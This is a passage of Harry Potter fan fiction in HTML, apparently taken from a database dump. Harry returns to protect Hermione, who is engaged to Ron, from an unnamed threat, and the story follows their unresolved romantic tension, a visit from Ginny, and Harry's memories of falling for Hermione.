it&#8217;s Christmas. Harry deserves a break.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bit her lip, looking\nextremely worried. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to report me?&#8221;Harry\nasked her, grinning.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh---of course not---but honestly,\nHarry---&#8220;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After all these years, he could still\ndo that, she mused to herself. </p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>She silently cursed herself for thinking this way about Harry.\nShe should be getting that feeling from Ron, not Harry. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron!&#8221; she thought suddenly. He has no\nidea that Harry is back. But, she thought, he&#8217;s already left for that road trip\nto Ireland. She knew that his team was to depart for Ireland at 5:00 a.m. If\nshe really wanted to, she could get word to him that Harry was back and that\nher life could be in danger. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She\nthought better of that, however. This wasn&#8217;t something you sprung on someone\nright before they were scheduled to leave for an important trip. Besides, he&#8217;d\nbe back in three days, she reasoned. He&#8217;ll know everything in three days, she\nthought. She&#8217;d tell him when he returned. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t really know how Ron would\ntake the news. Ron had been just as upset as she was---albeit for different\nreasons---when Harry left. She knew he&#8217;d be thrilled to have Harry back. She\nalso knew that if he knew what Harry&#8217;s return meant to her, he wouldn&#8217;t be too\npleased. Truth be told, she didn&#8217;t really know what Harry&#8217;s return meant or if\nit meant anything at all. She didn&#8217;t know anything, really. She only knew that\nhe was back for now, but she didn&#8217;t know for how long. If past history were any\nindication, he&#8217;d solve the problem at hand and leave her behind just as he did\nbefore. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She had thought the pain of that\nheartbreak had eased with time. Seeing his green eyes and bright smile brought\nall of those feelings back. Having him sleep just a few feet away from her made\na thousand memories she&#8217;d tried so hard to suppress come flooding back to her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;She resolved to stop thinking so much about this. It wasn&#8217;t doing\nher any good dwelling in the past, especially when her future lied with Ron.\nShe felt as if she was being unfaithful to him just thinking these thoughts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Taking\none last look at Harry soundly asleep on the couch, she decided to make\nbreakfast. Walking swiftly into the kitchen, she opened up the refrigerator and\ntook out the milk, a carton of eggs, a package of bacon and the orange juice. She\nretrieved a frying pan from the counter and a bowl to crack the eggs. She took\nextra care to make as much noise as possible. Harry might have been able to\nsleep, but she&#8217;d be damned if he was going to sleep in, she thought. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To her delight, she heard rustling\ncoming from the living room. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mission accomplished,&#8221; she whispered,\nsmiling slyly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Within seconds, Harry came walking,\ngroggily, into the kitchen. He wasn&#8217;t wearing his glasses and his short, brown\nhair was disheveled. He was wearing a white cotton t-shirt and a pair of navy\nboxer shorts.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good morning,&#8221;\nHermione said, brightly. &#8220;Sleep well?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Up until I heard the ruckus coming\nfrom in here,&#8221; Harry said, yawning. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that&#8217;s good,&#8221; Hermione said.\n&#8220;Coffee?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, yes,&#8221; Harry said, sitting down at\nthe table. &#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He watched as she took an extra coffee\nmug from the cupboard and poured him a cup of coffee. He watched in amazement\nas she poured a teaspoon of sugar into the cup along with a splash of milk. She\nwalked over to him and gave him the mug. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; she asked, noticing the look\nof amazement on his face. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You remembered how I like my coffee,&#8221;\nhe said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Hermione said, not knowing how\nto react to this. &#8220;Do you still like your eggs scrambled with cheese?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t look at me like that, Harry,&#8221;\nshe said. &#8220;Honestly. I remember a lot of things. I practically have <i>Hogwarts:\nA History</i> committed to memory. It&#8217;s no big deal. Besides, how long were we\nfriends?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re right,&#8221; he said. &#8220;Sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was quiet as she walked back over\nto the stove and took the frying pan off the burner and quickly spooned some\neggs on both of their plates. She also placed a couple of strips of bacon and a\nbiscuit on the plates. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you go,&#8221; she said, putting the\nplate in front of Harry. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; he said, taking a bite of\nthe eggs. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They ate in silence. Hermione\nnervously looked over at her watch. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I&#8217;m going to be late if I don&#8217;t\nget a move on,&#8221; she said, getting up from the chair and picking up her plate. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry dropped his fork. &#8220;Late for\nwhat?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Work, silly,&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You aren&#8217;t going to work today,&#8221;\nHarry said, firmly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excuse me?&#8221; Hermione asked. &#8220;What do\nyou mean?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, <i>hello?&#8221; </i>Harry said. &#8220;What\npart of &#8216;your life is in danger&#8217; do you not understand?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have to go to work, Harry. People\nare counting on me. I have experiments and meetings scheduled.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry began, standing up\nfrom his chair. &#8220;Those experiments are precisely why you shouldn&#8217;t go to work\ntoday. Those experiments could get you kidnapped or worse. You could be killed,\nfor Merlin&#8217;s sake.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; Hermione said. &#8220;I&#8217;ll be fine.\nI have to go to work. That&#8217;s all there is to it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry walked over to her and gave her\na stern expression. She couldn&#8217;t remember him ever looking so serious. &#8220;I\nforbid you to go to work today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. &#8220;You have got to be\nkidding me? You <i>forbid </i>me to go to work today.</p>\n\n<p class="MsoNormal">&nbsp;You <i>forbid </i>me?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I do,&#8221; Harry said. &#8220;I can&#8217;t let you\ngo to work today.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who died and made you my father?&#8221;\nHermione asked, incredulously. &#8220;Of all the pompous, self-centered, chauvinist,\npig-headed---&#8220; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She could feel her cheeks getting hot.\nThere weren&#8217;t words to describe the anger that was building up inside her. She\nhated more than anything for someone to tell her what she could and couldn&#8217;t\ndo. She took a deep breath. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You, Harry Potter, are not my father.\nYou are not my boyfriend and you aren&#8217;t my husband. And even if you were, I\nstill wouldn&#8217;t allow you to tell me what I could and couldn&#8217;t do.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grabbed her by the arm. &#8220;Do you\nwant to get yourself killed? Is that what you want? If you go in there today\nnot knowing what is out there waiting to attack you when you least expect it,\nthat&#8217;s exactly what&#8217;s going to happen. And I will not let that happen to you. That\nis the reason that I came back. The last thing in the world that I want to\nhappen is for you to get hurt or killed. I&#8217;m here to protect you. I&#8217;m here\nbecause I&#8212;&#8220; he looked at her and stopped speaking. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because you what?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because I&#8212;&#8220; Harry said again. He was\nstill holding on to her arm and their faces were so close. She could feel that\npit in her stomach that she&#8217;d felt that night that Harry had first kissed her\noutside of the club. His eyes were staring intently into hers. She felt light-headed\nand dizzy. Their lips were inches apart. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because you what, Harry?&#8221; Hermione\nwhispered, again. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KNOCK. KNOCK. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione quickly pulled away\nfrom each other. &#8220;Who is that?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know,&#8221; Hermione said. She\nstill felt light-headed. She couldn&#8217;t think. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go check,&#8221; Harry told her. Hermione\nnodded and walked towards the door. Looking through the peephole, she breathed\na sigh of relief. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s Ginny,&#8221; she whispered back to\nHarry. &#8220;What do I do?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let her in,&#8221; Harry said. &#8220;But don&#8217;t\ntell her I&#8217;m back yet. I&#8217;ll, um, I&#8217;ll go hide in your bedroom. Don&#8217;t tell her\nthat I&#8217;m here, okay. The less people that know, the better off we are. At\nleast, until we know what we&#8217;re up against.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded. She took a deep\nbreath as she watched Harry scurry back to her bedroom. She noticed that he\nkept the door slightly ajar. No doubt, to hear what she and Ginny would say to\neach other, Hermione thought. She quickly smoothed her hair and pushed a loose\ntendril behind her ear. She took a deep breath and opened the door. </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, finally,&#8221; Ginny said. &#8220;What are you doing here,\nGinny?&#8221; Hermione asked. </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I had an appointment with a OB-GYN mediwizard early this\nmorning. It&#8217;s near your flat so I thought I&#8217;d pop in and see how you were. I\nwas worried about you after last night. You were awfully quiet,&#8221; Ginny said,\nwalking past Hermione into the apartment.&nbsp;\n</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Was I?&#8221; Hermione asked nervously, shutting the door\nbehind Ginny. &#8220;I guess I&#8217;ve just had a lot of stuff on my mind what with work\nand the wedding plans, you know. It&#8217;s a bit much all of a sudden, you know?&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Ginny said. She&#8217;d taken a seat on the sofa and\nmotioned for Hermione to do the same. As Hermione went to sit down, she noticed\nHarry&#8217;s glasses and his shoes. She quickly picked the glasses up and popped\nthem in her robe pocket. When she was sure Ginny wasn&#8217;t looking, she kicked\nHarry&#8217;s shoes under the couch. </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And\nMum, I love her, but trust me, she&#8217;s not going to give you a moment&#8217;s peace. I\nstill remember how she hijacked Draco&#8217;s and my wedding plans,&#8221; Ginny continued,\noblivious to what Hermione had just done.&nbsp;\n</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I know that she means well,&#8221; Hermione said with a\nquick smile. </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, did you have a guest last night?&#8221; Ginny said lifting\nup the pillow. </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Hermione asked. &#8220;No, of course I didn&#8217;t have\nvisitors. Um, when I got home last night, I was so tired, I just crashed on the\nsofa.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You poor thing,&#8221; Ginny said. &#8220;Are you okay?&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, of course,&#8221; Hermione said. &#8220;Why do you ask?&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You keep looking around like you&#8217;re expecting someone or\nsomething to pop out at any minute,&#8221; Ginny said. &#8220;Ah, let me guess. You have a\nbloke somewhere in here, right? One last fling before the wedding?&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not,&#8221; Hermione said indignantly. &#8220;How could\nyou think that? I would never&#8212;&#8220; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;I&#8217;m\njust joking, Hermione,&#8221; Ginny said quickly.&nbsp;\n&#8220;I know you&#8217;d never do that to Ron.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;I\nknow, I know. I&#8217;m just still so exhausted,&#8221; Hermione said, yawning. &#8220;I&#8217;m\nactually thinking of taking the day off and resting.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Well,\nthat sounds like a brilliant idea,&#8221; Ginny said. &#8220;You know that&#8217;s what you need\nto do more often, I say. Take time for yourself. All work and no play, and all\nthat.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Yeah,\nyou&#8217;re right,&#8221; Hermione said, looking around the apartment again. &#8220;Listen,\nwon&#8217;t you be late for your appointment?&#8221;<br>\n&#8221;Yeah, I&#8217;d better get a move on,&#8221; Ginny said standing up. &#8220;Hey, take care of\nyourself. And any help you need with the wedding or anything, I&#8217;d be glad to\nhelp you. All you have to do is ask.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Thanks,\nGinny,&#8221; Hermione said. &#8220;Here, give us a hug.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Alright,\nif you can get your arms all the way around&#8221; Ginny said. &#8220;I&#8217;m huge. I have my\nown postal code.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;You&#8217;re\nthe best, Gin,&#8221; Hermione said, laughing. &#8220;Thanks for stopping by.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&nbsp;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;That\nwas close,&#8221; Harry said, coming out of the bedroom. </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Yeah,&#8221;\nHermione said. &#8220;I hate lying to her.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Hopefully,\nit will be over soon,&#8221; Harry said, putting a reassuring arm on her shoulder.\n&#8220;So I heard you tell Ginny that you weren&#8217;t going to work.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;You&#8217;re\nright,&#8221; Hermione said. &#8220;I should stay out until we have a clue what&#8217;s going on.\nNot that I&#8217;m happy about it, mind you. I am stubborn to a fault, you know.&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;I\nknow,&#8221; Harry said with a chuckle. &#8220;It&#8217;s one of things that I love most&#8212;I mean\nthat I loved most about you.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">Hermione&#8217;s\neyes got big at that remark. &#8220;Well, something&#8217;s never change. So what do we\ndo?&#8221;</p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">Harry\nsmiled. &#8220;We&#8217;re to meet Sirius at Kings Cross Station this afternoon. He&#8217;s\ntrying to run intel on this with his contacts. We couldn&#8217;t&#8217; chance meeting in\nHogsmeade or at Diagon Alley or anywhere near the Ministry. We figured it&#8217;d be\nbetter to keep things in Muggle London. Less chance of being recognized.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;"><br>\nHermione nodded. &#8220;At least we don&#8217;t have to stay cooped up in here all day. I\nhonestly don&#8217;t think that I could do that.&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Yeah,\ncabin fever,&#8221; Harry said. &#8220;Do you mind if I take a shower?&#8221; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;No, go\nright ahead,&#8221; Hermione said. &#8220;There are some extra towels in the closet beside\nthe bathroom.&#8221;<br>\n&#8221;Thanks,&#8221; Harry said. He gave her a quick smile before retreating to the bathroom.\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">Hermione\nsighed and sat down on the couch. The reason that she was glad they wouldn&#8217;t be\nstaying in all day in that apartment alone together had nothing to do with\ncabin fever. She was afraid of what might have happened, or what could have happened\nif they&#8217;d spent anymore time like that alone. </p>\n\n<p class="MsoBodyText" style="margin-left:.5in;">&#8220;Talk\nabout turning your life upside down,&#8221; she said. She fell back onto the couch\nand finally the sleep that she had been wanting so much came. And with it came\nsweet dreams. &nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(255, 8, '\n\n\n\n<p class="MsoNormal">Authors Note: <br>\n<br>\nThanks to everyone who has posted such nice reviews! I appreciate the feedback.\nKeep it coming. Sorry it took so long between chapter updates. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Again, these characters\ndo not belong to me, they are the property of J.K. Rowling, yada, yada, yada&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter Eight </p>\n\n<p class="MsoNormal">The Best Laid Plans</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The shower had done Harry good. He&#8217;d been feeling kind of\ngrimy and grubby since he&#8217;d arrived late last night at Hermione&#8217;s. Shortly\nafter devising a plan of action with Sirius, he&#8217;d left Australia almost immediately.\nHe&#8217;d only had time to pack a quick bag. He was used to this nomadic existence\nhe&#8217;d created for himself. He&#8217;d been living out of a suitcase for five years\nnow. As Sirius liked to say, he had no place to set down roots. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">This\nwas the downside to the life he led now. Yes, he&#8217;d seen extraordinary\nthings.&nbsp; Yes, he&#8217;d been to many\ndifferent, exotic places&#8212;places that most people would never get to see. It\nwasn&#8217;t the same, though. Besides Sirius, he had no one to share the experience\nwith. He had no one to welcome him home with open arms. He had to laugh at the\nirony of it all. All of his life, he&#8217;d been looking for a home, a place where\nhe&#8217;d fit in. For awhile, he&#8217;d found that at Hogwarts. He&#8217;d also found a\nsurrogate family in the Weasleys, who&#8217;d never made him feel like an outsider\nand treated him like one of their own. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He knew that they&#8217;d been hurt by his leaving so abruptly.\nHe&#8217;d tried to drop them a line from time to time to let them know that he was\nokay. As with Hermione, he&#8217;d kept up with the Weasleys, as well. It&#8217;d been hard\nto leave them behind, especially Ron. Ron had been his best mate. They&#8217;d been\nthrough so much together. Over the years, they&#8217;d had their disagreements, but\nwhen it came down to it, they&#8217;d always worked things out and been there for\neach other when it really counted. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had been the same with Hermione, but also different.\nHe&#8217;d remembered all the times that Dean or Seamus or Neville, for that matter,\nwould come up to him and ask him if he was dating Hermione. He&#8217;d always tell\nthem that he didn&#8217;t see Hermione that way. She was his friend, his buddy, and\nhis pal. How wrong he had been. He couldn&#8217;t believe the time he&#8217;d wasted pining\naway for Cho Chang when the perfect girl for him had been right in front of him\nthe entire time. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He remembered how well she&#8217;d handled it when Rita Skeeter\nhad come out with her articles on his and Hermione&#8217;s &#8220;relationship.&#8221; She&#8217;d held\nher head high in the face of scathing remarks from Pansy Parkinson and the\nother Slytherins. She&#8217;d told Harry to just ignore the talk. He&#8217;d been blown\naway by her reserve and resolve throughout that whole situation. She&#8217;d also\nbeen the only one to stand by him when everyone else had thought he&#8217;d placed\nhis name in the Goblet of Fire. Even Ron had doubted him, but not Hermione. She\nstood by him and helped him prepare for the dangerous tasks. And it had been\nHermione that he&#8217;d turned to when the guilt over Cedric&#8217;s death had gotten to\nhim. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He tried to remember the first time he knew that he loved\nher. It wasn&#8217;t something that he had decided. It wasn&#8217;t as if he&#8217;d woken up one\nmorning and said, &#8220;I am in love with Hermione.&#8221; No, it hadn&#8217;t happened that\nway. It was shortly after their fifth year had begun and Harry had gone down to\nvisit Hagrid after dinner one night. They had discussed a number of things.\nThey talked about how classes were going, about Quidditch practices and a\nmyriad of other topics and then Hagrid said something that surprised Harry. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText">&#8220;So how&#8217;s Ron and &#8216;Ermione?&#8221; Hagrid asked. &#8220;I&#8217;m surprised\nthey didn&#8217;t come down with ya.&#8221;</p>\n\n<p class="MsoNormal"><i>&#8220;Oh, Ron&#8217;s serving\ndetention with Snape and Hermione&#8217;s where she almost always is, the library,&#8221;\nHarry said. </i></p>\n\n<p class="MsoNormal"><i>&#8220;That 